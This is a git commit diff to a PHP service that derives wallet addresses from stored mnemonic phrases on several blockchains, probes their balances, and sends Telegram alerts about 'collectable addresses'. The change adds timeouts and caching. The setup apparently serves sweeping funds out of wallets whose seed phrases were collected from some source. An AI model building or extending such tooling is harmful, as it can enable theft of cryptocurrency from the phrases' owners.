feat: 查看钱包优化,地址增加链上查询
This commit is contained in:
@@ -6,9 +6,11 @@ use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
@@ -22,6 +24,12 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 2;
|
||||
|
||||
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
|
||||
public const PROBE_TIMEOUT_SECONDS = 8;
|
||||
|
||||
/** How long a chain with no activated address (or a failed probe) stays skipped. */
|
||||
public const MISS_CACHE_SECONDS = 600;
|
||||
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
@@ -77,29 +85,51 @@ class MnemonicWalletDiscovery
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
continue;
|
||||
}
|
||||
return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
continue;
|
||||
}
|
||||
if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
]);
|
||||
$this->rememberMiss($mnemonic, $spec['chain']);
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
if ($rows === []) {
|
||||
$this->rememberMiss($mnemonic, $spec['chain']);
|
||||
}
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
return count($saved);
|
||||
});
|
||||
}
|
||||
|
||||
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
|
||||
{
|
||||
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
|
||||
}
|
||||
|
||||
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
|
||||
{
|
||||
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -190,7 +220,7 @@ class MnemonicWalletDiscovery
|
||||
'address' => $address,
|
||||
'index' => $index,
|
||||
]);
|
||||
continue;
|
||||
break;
|
||||
}
|
||||
|
||||
if (! $probe['activated']) {
|
||||
@@ -273,7 +303,11 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
try {
|
||||
$bnb = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
|
||||
@@ -318,7 +352,11 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
try {
|
||||
$sol = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user